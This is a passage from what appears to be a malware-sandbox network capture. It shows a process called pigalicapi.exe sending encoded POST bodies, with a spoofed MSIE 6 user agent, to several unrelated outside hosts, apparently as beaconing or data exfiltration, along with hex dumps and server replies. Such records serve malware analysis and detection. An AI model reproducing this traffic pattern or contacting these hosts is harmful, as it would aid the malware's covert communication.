4OVCFf5+pwq33zfYyZpX6uFEFhu+pK1oEtd9y+h6hVnaAvdT5XTWnNeyR8ZPEVnqt0FWgU0hH4TgMu8Y2OrXcCa1oOgO56r5293XWDkoVNTiCTQLRA7ZJD9Akq6b5zW/xxE8Hb2R2b1mZVjXYVGjAcF1keClMLfa9Oi0lNowYWSYPd+CWPtnKMWU4EKlLAuAMCCZiBdwZAG1zuDK8ePNLSk5VCmDntcoDHZtM9YB7l9YtLMFlrx3DkXbsVuOEQJ7UgZ0ModVxzzu9RGKpM688qXuqg1TnPHINfr9d+tda6AZpszSFuXf1DVXVR5UKTZoBptDFq8RqMFRaiayhfKBog9k3iO1xcvfZpnr6zhKFQy+mE83NBM8YgRHSj0gVRDFIpIq4TT7o++lmtButTlPsWly5S0i8/rP3qV8wRIYDjp95EIQefNbWhLvjKKsq1Ft+qS7x1acErz5X66biXDlYLuSReRHX6bO/JO/HjfLnGoMmUzenzGfvgul1L2Bax3Yexf8HBWsIA8cteA/JBFbFvU0WSnioS62yrw8PHQMhbZLONQ+8nV2BbY=
Oct 25, 2024 11:18:07.258390903 CEST	580	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 25 Oct 2024 09:18:07 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=; path=/; domain=.www.wkhk.net; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax; Set-Cookie: btst=; path=/; domain=www.wkhk.net; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax; Set-Cookie: btst=5da448966d54b464c4518e688cf48827\|173.254.250.81\|1729847887\|1729847852\|17\|2\|0; path=/; domain=.wkhk.net; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.5	52795	137.118.26.67	80	1896	C:\Users\user\pigalicapi.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:18:06.418628931 CEST	769	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 540 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.fnw.us Cache-Control: no-cache Data Raw: 76 58 64 56 37 77 42 54 6a 51 71 70 6c 56 36 64 30 79 71 75 4c 7a 50 32 62 7a 44 6f 4c 55 77 6d 4e 50 4c 71 5a 5a 77 4a 4c 5a 75 72 65 6a 57 49 44 4c 4d 57 34 6b 78 4a 6c 6e 6c 34 53 61 65 4b 68 34 4c 37 76 59 68 31 59 6d 42 49 39 2b 4f 4a 77 67 75 36 6e 68 77 75 54 79 4f 31 30 7a 55 69 4f 63 2b 44 50 57 4a 43 48 6a 77 70 4b 4e 57 4b 41 7a 4f 7a 57 59 71 61 48 49 36 57 52 61 6c 30 6a 4b 74 57 74 33 77 4c 75 58 66 51 6d 6c 73 57 73 4d 48 73 78 65 32 6d 51 68 6a 73 79 73 47 54 32 61 54 48 73 6c 72 4a 45 4e 58 77 71 57 49 68 70 5a 47 52 66 6f 6e 6d 51 35 57 6e 44 59 41 6d 36 48 55 45 53 46 65 37 6e 52 49 6c 65 37 33 67 6b 51 46 4a 31 38 6a 4d 4d 74 50 4a 61 6a 58 4a 32 31 32 57 30 77 58 38 46 6b 73 6c 4f 4d 72 64 78 63 64 32 7a 68 79 4d 37 58 6a 44 41 72 5a 43 73 4e 65 66 39 59 55 55 32 4b 33 4a 5a 7a 35 66 71 52 48 67 47 6f 48 6b 30 30 73 43 53 2b 61 4c 39 37 6f 38 77 54 73 4a 46 38 76 31 49 50 73 4c 50 31 58 5a 6b 6f 58 53 77 58 2f 77 4f 79 4c 73 43 74 48 37 74 5a 58 77 7a 32 4e 48 55 6b 41 73 68 53 [TRUNCATED] Data Ascii: vXdV7wBTjQqplV6d0yquLzP2bzDoLUwmNPLqZZwJLZurejWIDLMW4kxJlnl4SaeKh4L7vYh1YmBI9+OJwgu6nhwuTyO10zUiOc+DPWJCHjwpKNWKAzOzWYqaHI6WRal0jKtWt3wLuXfQmlsWsMHsxe2mQhjsysGT2aTHslrJENXwqWIhpZGRfonmQ5WnDYAm6HUESFe7nRIle73gkQFJ18jMMtPJajXJ212W0wX8FkslOMrdxcd2zhyM7XjDArZCsNef9YUU2K3JZz5fqRHgGoHk00sCS+aL97o8wTsJF8v1IPsLP1XZkoXSwX/wOyLsCtH7tZXwz2NHUkAshSTvTilhUBjftya/AffALZQ7cAjwuYle0h7TeBYrjTHHdvm+tqFbX9pMt0D6HvWk8u5VDcwa4Ig67YFLUTll/NOKC6RSEVM1cRH+UWr6lPycvrKClk3t5a5dJeiPDlO1YIxQkZUxJCZ50iKyz0gd8lCrBJra6X0/aYBvvjQdxV0XGL+Hpkj6Hfd+N92taz9wwK15Fhw4idg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.5	52799	3.19.116.195	80	1896	C:\Users\user\pigalicapi.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:18:06.419203043 CEST	811	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 576 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.pdqhomes.com Cache-Control: no-cache Data Raw: 4c 67 56 31 63 4c 48 55 6d 51 72 35 34 73 77 6e 30 45 5a 47 31 67 6f 73 42 66 33 76 77 78 32 6c 64 53 61 76 4f 34 79 32 41 63 47 2f 57 32 67 52 74 6a 65 69 5a 42 47 72 37 30 68 6e 2f 67 4a 46 6d 43 5a 73 5a 65 32 37 38 45 4d 6e 4a 50 58 47 51 70 52 47 44 76 42 54 53 2f 41 66 6d 35 56 76 30 41 68 73 66 35 6d 46 44 63 4a 43 38 37 73 31 62 2b 78 69 39 2b 6f 33 4c 58 64 51 50 44 76 54 4e 2b 75 52 30 31 62 7a 34 5a 6d 6f 45 4f 71 6e 64 6a 50 4f 55 4f 65 6a 46 36 68 54 63 41 4f 68 35 49 66 32 46 58 4b 33 6d 42 4a 4e 74 4f 58 2b 64 49 7a 61 77 6a 59 6c 69 50 62 2b 72 2f 6b 7a 57 36 4c 35 38 52 41 59 2f 31 78 74 39 7a 68 61 54 48 37 38 74 51 6d 4f 30 6d 49 69 58 75 49 4d 52 69 4f 45 37 6e 4a 2f 75 69 34 50 6d 33 78 66 6d 52 37 74 71 6d 7a 7a 63 6b 70 35 38 2f 70 4d 79 6b 4b 48 5a 6c 6a 41 50 55 38 33 34 44 62 63 4f 4c 68 51 2b 56 59 48 33 35 69 44 5a 64 42 52 72 62 4e 66 79 61 2b 33 50 6a 4a 6a 39 6e 71 36 4c 6b 46 37 66 4e 6d 35 2b 31 72 75 43 70 53 34 55 56 47 51 56 79 41 69 32 34 57 63 46 5a 6f 54 52 72 [TRUNCATED] Data Ascii: LgV1cLHUmQr54swn0EZG1gosBf3vwx2ldSavO4y2AcG/W2gRtjeiZBGr70hn/gJFmCZsZe278EMnJPXGQpRGDvBTS/Afm5Vv0Ahsf5mFDcJC87s1b+xi9+o3LXdQPDvTN+uR01bz4ZmoEOqndjPOUOejF6hTcAOh5If2FXK3mBJNtOX+dIzawjYliPb+r/kzW6L58RAY/1xt9zhaTH78tQmO0mIiXuIMRiOE7nJ/ui4Pm3xfmR7tqmzzckp58/pMykKHZljAPU834DbcOLhQ+VYH35iDZdBRrbNfya+3PjJj9nq6LkF7fNm5+1ruCpS4UVGQVyAi24WcFZoTRrR+t5to32ASyghRgFiZstquqdzivyYKa2WnQh4QOxmUxIKEwzrcjWeXmlC+MBbxAtgFt7N/XJrMqZfgX66SvZw3L7KZMqmaVXUAxa2hCURjNGeVfe+ioDxMeJn9tCW+B9ESCjWvSJm2e8bKWfltC4gXX8tuIpTvbofF1Ilbi68SbeytwU/CD6H0F/jA/lCFI8h6wL3OajzidRLwirHBVzOhXIHNp9Q/fkugjoTYWF6hKw==
Oct 25, 2024 11:18:07.112875938 CEST	182	IN	HTTP/1.0 404 Not Found cache-control: no-cache content-type: text/html x-reason: UnsupportedMethod Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>Not Found</title></head><body>404 Not Found</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.5	52800	104.21.23.9	80	1896	C:\Users\user\pigalicapi.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:18:06.419408083 CEST	790	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 556 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.jenco.co.uk Cache-Control: no-cache Data Raw: 65 54 42 41 56 50 4b 5a 6b 41 6f 6d 30 63 4a 77 4a 54 43 2f 61 2f 58 44 43 4b 50 43 62 50 7a 78 52 6b 63 72 5a 36 62 72 78 65 70 5a 32 30 66 68 79 69 63 31 4d 31 68 69 45 65 33 57 72 51 64 55 35 51 30 48 4d 30 6c 65 72 6e 32 32 31 39 65 52 47 4a 79 6f 6e 34 77 58 44 5a 4e 4e 30 41 57 57 50 53 34 65 37 6d 6f 54 39 70 37 56 31 62 4a 50 71 56 4c 34 6d 6c 68 55 43 67 53 30 42 6d 72 65 57 30 74 66 57 73 71 53 74 37 6b 4c 65 37 66 77 54 38 63 71 76 50 69 77 32 57 77 39 56 31 75 78 64 56 73 34 4b 62 42 50 4e 69 6e 53 71 79 31 66 4c 65 5a 78 76 66 67 41 68 30 4d 61 38 62 47 77 66 73 6c 64 71 61 30 48 6a 41 31 48 7a 58 64 68 6c 2b 72 48 46 4f 6f 6d 39 69 33 45 31 65 78 72 6b 69 78 46 54 77 43 44 74 43 62 50 72 31 7a 46 4c 43 4c 55 4b 67 46 52 4a 37 48 45 6b 54 2f 36 74 44 32 58 59 6d 4d 68 32 2f 58 69 34 75 6e 70 58 47 72 68 44 49 6d 66 30 33 49 79 65 6c 6b 53 70 31 32 64 6c 6b 30 67 70 58 6b 6f 62 4c 56 48 41 38 78 69 71 38 30 56 41 42 31 30 56 34 33 34 69 66 4c 71 55 4a 79 4a 75 66 43 62 53 50 50 49 41 35 [TRUNCATED] Data Ascii: eTBAVPKZkAom0cJwJTC/a/XDCKPCbPzxRkcrZ6brxepZ20fhyic1M1hiEe3WrQdU5Q0HM0lern2219eRGJyon4wXDZNN0AWWPS4e7moT9p7V1bJPqVL4mlhUCgS0BmreW0tfWsqSt7kLe7fwT8cqvPiw2Ww9V1uxdVs4KbBPNinSqy1fLeZxvfgAh0Ma8bGwfsldqa0HjA1HzXdhl+rHFOom9i3E1exrkixFTwCDtCbPr1zFLCLUKgFRJ7HEkT/6tD2XYmMh2/Xi4unpXGrhDImf03IyelkSp12dlk0gpXkobLVHA8xiq80VAB10V434ifLqUJyJufCbSPPIA5wRDOXUfW3dlAgD7NuIl95PGVFsconl6q2khHunbjyd2K96jBGKPNvO74s0v06uUgX/9XtI5SV4WAi2v7jNCwtrBsGVwt/Y5/nYEmn6CzD2mSCpz5OWCTBm8UAZWwrotnvuilXe5r/WNwtv3yiHVJi/azhtqx66Kddq+a+dHMu6TD+MWJa6EXi36QvuuLgdx6d4c5ExSFJxgd3LGkFXoBIaJw==
Oct 25, 2024 11:18:07.033277988 CEST	1003	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:18:06 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Fri, 25 Oct 2024 10:18:06 GMT Location: https://www.jenco.co.uk/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=I4ysimYe4x5YtsvK%2BrV%2B7%2BNxfzvSTfvSvWAloWpx3d3aCQfXMLJUw2lZd0LzqEmHdH0Ui%2BXY9Joo7X0X%2BIKD1W8hvv0foq0IbauEAI38%2FQFf9819%2FftHTxhtYyxPKZ0GDVI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d811e0d8f9a6c6f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1109&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=790&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>
Oct 25, 2024 11:18:07.149564981 CEST	790	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 556 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.jenco.co.uk Cache-Control: no-cache Data Raw: 65 54 42 41 56 50 4b 5a 6b 41 6f 6d 30 63 4a 77 4a 54 43 2f 61 2f 58 44 43 4b 50 43 62 50 7a 78 52 6b 63 72 5a 36 62 72 78 65 70 5a 32 30 66 68 79 69 63 31 4d 31 68 69 45 65 33 57 72 51 64 55 35 51 30 48 4d 30 6c 65 72 6e 32 32 31 39 65 52 47 4a 79 6f 6e 34 77 58 44 5a 4e 4e 30 41 57 57 50 53 34 65 37 6d 6f 54 39 70 37 56 31 62 4a 50 71 56 4c 34 6d 6c 68 55 43 67 53 30 42 6d 72 65 57 30 74 66 57 73 71 53 74 37 6b 4c 65 37 66 77 54 38 63 71 76 50 69 77 32 57 77 39 56 31 75 78 64 56 73 34 4b 62 42 50 4e 69 6e 53 71 79 31 66 4c 65 5a 78 76 66 67 41 68 30 4d 61 38 62 47 77 66 73 6c 64 71 61 30 48 6a 41 31 48 7a 58 64 68 6c 2b 72 48 46 4f 6f 6d 39 69 33 45 31 65 78 72 6b 69 78 46 54 77 43 44 74 43 62 50 72 31 7a 46 4c 43 4c 55 4b 67 46 52 4a 37 48 45 6b 54 2f 36 74 44 32 58 59 6d 4d 68 32 2f 58 69 34 75 6e 70 58 47 72 68 44 49 6d 66 30 33 49 79 65 6c 6b 53 70 31 32 64 6c 6b 30 67 70 58 6b 6f 62 4c 56 48 41 38 78 69 71 38 30 56 41 42 31 30 56 34 33 34 69 66 4c 71 55 4a 79 4a 75 66 43 62 53 50 50 49 41 35 [TRUNCATED] Data Ascii: eTBAVPKZkAom0cJwJTC/a/XDCKPCbPzxRkcrZ6brxepZ20fhyic1M1hiEe3WrQdU5Q0HM0lern2219eRGJyon4wXDZNN0AWWPS4e7moT9p7V1bJPqVL4mlhUCgS0BmreW0tfWsqSt7kLe7fwT8cqvPiw2Ww9V1uxdVs4KbBPNinSqy1fLeZxvfgAh0Ma8bGwfsldqa0HjA1HzXdhl+rHFOom9i3E1exrkixFTwCDtCbPr1zFLCLUKgFRJ7HEkT/6tD2XYmMh2/Xi4unpXGrhDImf03IyelkSp12dlk0gpXkobLVHA8xiq80VAB10V434ifLqUJyJufCbSPPIA5wRDOXUfW3dlAgD7NuIl95PGVFsconl6q2khHunbjyd2K96jBGKPNvO74s0v06uUgX/9XtI5SV4WAi2v7jNCwtrBsGVwt/Y5/nYEmn6CzD2mSCpz5OWCTBm8UAZWwrotnvuilXe5r/WNwtv3yiHVJi/azhtqx66Kddq+a+dHMu6TD+MWJa6EXi36QvuuLgdx6d4c5ExSFJxgd3LGkFXoBIaJw==
Oct 25, 2024 11:18:07.279362917 CEST	1005	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:18:07 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Fri, 25 Oct 2024 10:18:07 GMT Location: https://www.jenco.co.uk/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zj%2BFvJh4vs26HciFkPX3icnpo7Z6UJaTaTcFZPKfwnFxO%2FmSruwFXuXTVLWbF4hnDQbsv3ilVzrFlkER9t77lFYqb9ITu6MSK6DWy%2F19YdGAHagvNofs3hEpr7VnR2EkIFA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d811e0f18d66c6f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1118&sent=2&recv=5&lost=0&retrans=0&sent_bytes=1003&recv_bytes=1580&delivery_rate=1218855&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.5	52801	80.93.82.33	80	1896	C:\Users\user\pigalicapi.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:18:06.419445038 CEST	760	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 528 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.olras.com Cache-Control: no-cache Data Raw: 36 6a 37 56 75 47 55 75 6e 41 70 4c 6a 35 2f 4c 44 49 79 32 69 4e 34 58 4c 36 4b 7a 67 56 42 65 61 52 6b 4a 46 74 2f 4b 73 79 72 4d 4c 31 38 6e 31 67 67 4a 58 71 38 6e 30 37 32 35 41 37 48 7a 5a 56 75 6e 38 6b 54 4f 31 58 42 76 69 51 50 4f 48 2f 63 42 34 73 6e 32 4d 55 4a 6d 66 64 55 32 6f 31 79 4f 46 79 48 43 7a 32 4e 48 59 73 67 39 56 49 53 50 30 66 68 59 32 6e 74 49 47 72 79 4b 62 38 51 57 38 53 55 6b 48 67 54 38 77 2f 72 2b 59 31 67 37 2f 61 77 4e 32 68 66 44 36 41 72 65 4d 6c 42 4d 39 7a 43 56 43 79 7a 6b 4a 35 54 57 69 31 69 63 6c 72 73 47 37 66 5a 53 47 7a 44 53 4e 32 68 56 58 77 6f 6a 57 2b 2f 66 69 5a 48 4d 68 61 32 73 63 72 66 45 32 47 76 51 76 2f 44 39 6f 46 4e 4c 54 63 45 51 78 4a 47 72 71 78 74 61 6f 79 4d 6c 78 35 4e 43 77 68 6c 46 63 64 4f 45 6d 4d 76 57 77 52 55 43 65 41 78 45 4f 36 39 47 66 43 67 31 79 62 63 52 41 4e 77 58 34 57 4e 58 78 6c 36 46 30 53 6f 39 52 32 43 62 65 32 45 61 66 6a 54 30 79 70 2b 53 2b 44 7a 53 76 58 45 77 41 39 58 6a 61 64 2b 36 59 66 47 47 52 77 33 6e 6b 57 [TRUNCATED] Data Ascii: 6j7VuGUunApLj5/LDIy2iN4XL6KzgVBeaRkJFt/KsyrML18n1ggJXq8n0725A7HzZVun8kTO1XBviQPOH/cB4sn2MUJmfdU2o1yOFyHCz2NHYsg9VISP0fhY2ntIGryKb8QW8SUkHgT8w/r+Y1g7/awN2hfD6AreMlBM9zCVCyzkJ5TWi1iclrsG7fZSGzDSN2hVXwojW+/fiZHMha2scrfE2GvQv/D9oFNLTcEQxJGrqxtaoyMlx5NCwhlFcdOEmMvWwRUCeAxEO69GfCg1ybcRANwX4WNXxl6F0So9R2Cbe2EafjT0yp+S+DzSvXEwA9Xjad+6YfGGRw3nkWG+SbuQqWAyS1K2l6Oh6rV0aKcfPWCWCB1xdm+LcTi++ZVCxglqwpQkK9uGPFts8yP/dre93ILO5J9lABRqnmQAVOTzzlZNmEwcr+uDyTtAu7r6Qx1nU9Z9kFoL1L+5mpsDNaEkHiPr4ayfFHkB6xb+IizuBW+rAe+Eq976m27Ao+bhIH/gqPo2E/NiEQ==
Oct 25, 2024 11:18:07.251390934 CEST	417	IN	HTTP/1.1 301 Moved Permanently date: Fri, 25 Oct 2024 09:18:06 GMT server: Apache location: https://www.olras.com/ content-length: 230 content-type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6f 6c 72 61 73 2e 63 6f 6d 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.olras.com/">here</a>.</p></body></html>
Oct 25, 2024 11:18:07.331065893 CEST	760	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 528 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.olras.com Cache-Control: no-cache Data Raw: 36 6a 37 56 75 47 55 75 6e 41 70 4c 6a 35 2f 4c 44 49 79 32 69 4e 34 58 4c 36 4b 7a 67 56 42 65 61 52 6b 4a 46 74 2f 4b 73 79 72 4d 4c 31 38 6e 31 67 67 4a 58 71 38 6e 30 37 32 35 41 37 48 7a 5a 56 75 6e 38 6b 54 4f 31 58 42 76 69 51 50 4f 48 2f 63 42 34 73 6e 32 4d 55 4a 6d 66 64 55 32 6f 31 79 4f 46 79 48 43 7a 32 4e 48 59 73 67 39 56 49 53 50 30 66 68 59 32 6e 74 49 47 72 79 4b 62 38 51 57 38 53 55 6b 48 67 54 38 77 2f 72 2b 59 31 67 37 2f 61 77 4e 32 68 66 44 36 41 72 65 4d 6c 42 4d 39 7a 43 56 43 79 7a 6b 4a 35 54 57 69 31 69 63 6c 72 73 47 37 66 5a 53 47 7a 44 53 4e 32 68 56 58 77 6f 6a 57 2b 2f 66 69 5a 48 4d 68 61 32 73 63 72 66 45 32 47 76 51 76 2f 44 39 6f 46 4e 4c 54 63 45 51 78 4a 47 72 71 78 74 61 6f 79 4d 6c 78 35 4e 43 77 68 6c 46 63 64 4f 45 6d 4d 76 57 77 52 55 43 65 41 78 45 4f 36 39 47 66 43 67 31 79 62 63 52 41 4e 77 58 34 57 4e 58 78 6c 36 46 30 53 6f 39 52 32 43 62 65 32 45 61 66 6a 54 30 79 70 2b 53 2b 44 7a 53 76 58 45 77 41 39 58 6a 61 64 2b 36 59 66 47 47 52 77 33 6e 6b 57 [TRUNCATED] Data Ascii: 6j7VuGUunApLj5/LDIy2iN4XL6KzgVBeaRkJFt/KsyrML18n1ggJXq8n0725A7HzZVun8kTO1XBviQPOH/cB4sn2MUJmfdU2o1yOFyHCz2NHYsg9VISP0fhY2ntIGryKb8QW8SUkHgT8w/r+Y1g7/awN2hfD6AreMlBM9zCVCyzkJ5TWi1iclrsG7fZSGzDSN2hVXwojW+/fiZHMha2scrfE2GvQv/D9oFNLTcEQxJGrqxtaoyMlx5NCwhlFcdOEmMvWwRUCeAxEO69GfCg1ybcRANwX4WNXxl6F0So9R2Cbe2EafjT0yp+S+DzSvXEwA9Xjad+6YfGGRw3nkWG+SbuQqWAyS1K2l6Oh6rV0aKcfPWCWCB1xdm+LcTi++ZVCxglqwpQkK9uGPFts8yP/dre93ILO5J9lABRqnmQAVOTzzlZNmEwcr+uDyTtAu7r6Qx1nU9Z9kFoL1L+5mpsDNaEkHiPr4ayfFHkB6xb+IizuBW+rAe+Eq976m27Ao+bhIH/gqPo2E/NiEQ==
Oct 25, 2024 11:18:07.567312002 CEST	417	IN	HTTP/1.1 301 Moved Permanently date: Fri, 25 Oct 2024 09:18:07 GMT server: Apache location: https://www.olras.com/ content-length: 230 content-type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6f 6c 72 61 73 2e 63 6f 6d 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.olras.com/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.5	52802	192.124.249.20	80	1896	C:\Users\user\pigalicapi.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:18:06.421817064 CEST	788	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 556 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.dgmna.com Cache-Control: no-cache Data Raw: 2f 65 55 45 41 66 37 6c 6a 51 70 64 6c 4d 73 76 79 64 55 55 78 65 46 48 4e 46 2b 2b 31 38 32 34 45 6d 37 75 55 67 50 42 79 57 44 30 30 41 51 6f 54 55 67 59 4c 73 44 4a 63 64 45 31 69 65 71 37 72 47 76 4d 2b 53 63 55 59 6e 43 6d 76 56 38 78 58 79 63 79 69 50 69 41 44 78 73 46 6a 51 53 6c 64 55 78 55 73 58 52 74 58 41 68 61 68 2f 38 66 42 44 35 75 48 68 62 4f 54 46 46 46 6b 69 48 6b 50 30 4c 50 4a 39 68 51 76 68 44 58 64 66 67 55 71 4c 58 4a 49 4e 6e 6b 6e 70 52 32 73 67 72 32 63 75 50 4f 77 6c 4e 66 6c 30 38 32 73 42 6f 59 70 49 6b 79 6d 61 69 57 63 63 36 70 63 41 38 53 57 75 56 79 4d 4e 4f 63 6c 73 74 53 77 73 47 75 51 48 4d 70 35 75 6c 42 49 78 4c 79 58 36 59 2f 31 30 67 2b 46 59 32 43 4f 54 42 4c 51 6b 53 36 46 51 49 64 54 77 54 2f 31 47 55 6e 77 72 61 2b 54 36 32 42 4b 36 58 61 6e 4a 47 78 65 63 4e 5a 78 71 67 68 34 51 45 50 76 48 74 73 6f 47 41 4b 32 55 72 63 62 36 5a 34 5a 36 37 74 47 41 54 55 56 2b 37 79 64 4e 66 6d 75 51 54 46 38 55 61 6f 64 37 66 41 61 75 6a 41 62 71 64 